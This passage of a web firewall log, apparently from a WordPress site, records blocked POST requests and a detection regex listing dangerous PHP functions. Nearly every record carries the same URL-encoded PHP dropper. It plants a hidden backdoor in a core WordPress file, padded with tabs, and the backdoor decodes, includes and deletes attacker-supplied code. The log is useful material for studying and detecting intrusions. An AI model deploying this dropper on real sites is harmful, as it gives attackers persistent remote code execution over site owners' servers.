2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4146\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nhT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:17","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4146\nsec-ch-ua-mobile:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nAF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:19","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4146\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nbR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:21","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-base64.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522de%255Cx73%255Cx63%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524a%255D%2529%2520%255E%252010%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524flag%2529%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524key%2520%253D%2520%2524sym%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524sym%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524key%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524key%2529%2529%2520%257B%2520%2524marker%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524key%252C%2520%2522.item%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524marker%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4169\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 